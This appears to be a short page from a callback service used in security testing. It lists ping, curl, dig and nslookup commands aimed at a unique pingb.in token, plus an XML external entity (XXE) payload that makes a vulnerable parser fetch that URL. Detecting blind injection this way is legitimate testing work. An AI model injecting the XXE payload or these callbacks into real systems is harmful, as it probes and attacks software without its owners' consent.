$ ping -c1 -p 002e32544f8691acf0fb45005b091600 pingb.in
 
$ curl pingb.in/p/2e32544f8691acf0fb45005b0916
 
$ dig 2e32544f8691acf0fb45005b0916 @pingb.in
 
$ dig 2e32544f8691acf0fb45005b0916.ns.pingb.in
 
C:\> nslookup 2e32544f8691acf0fb45005b0916 pingb.in
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://pingb.in/p/2e32544f8691acf0fb45005b0916">]>
    <foo>&xxe;</foo>
Waiting for ping...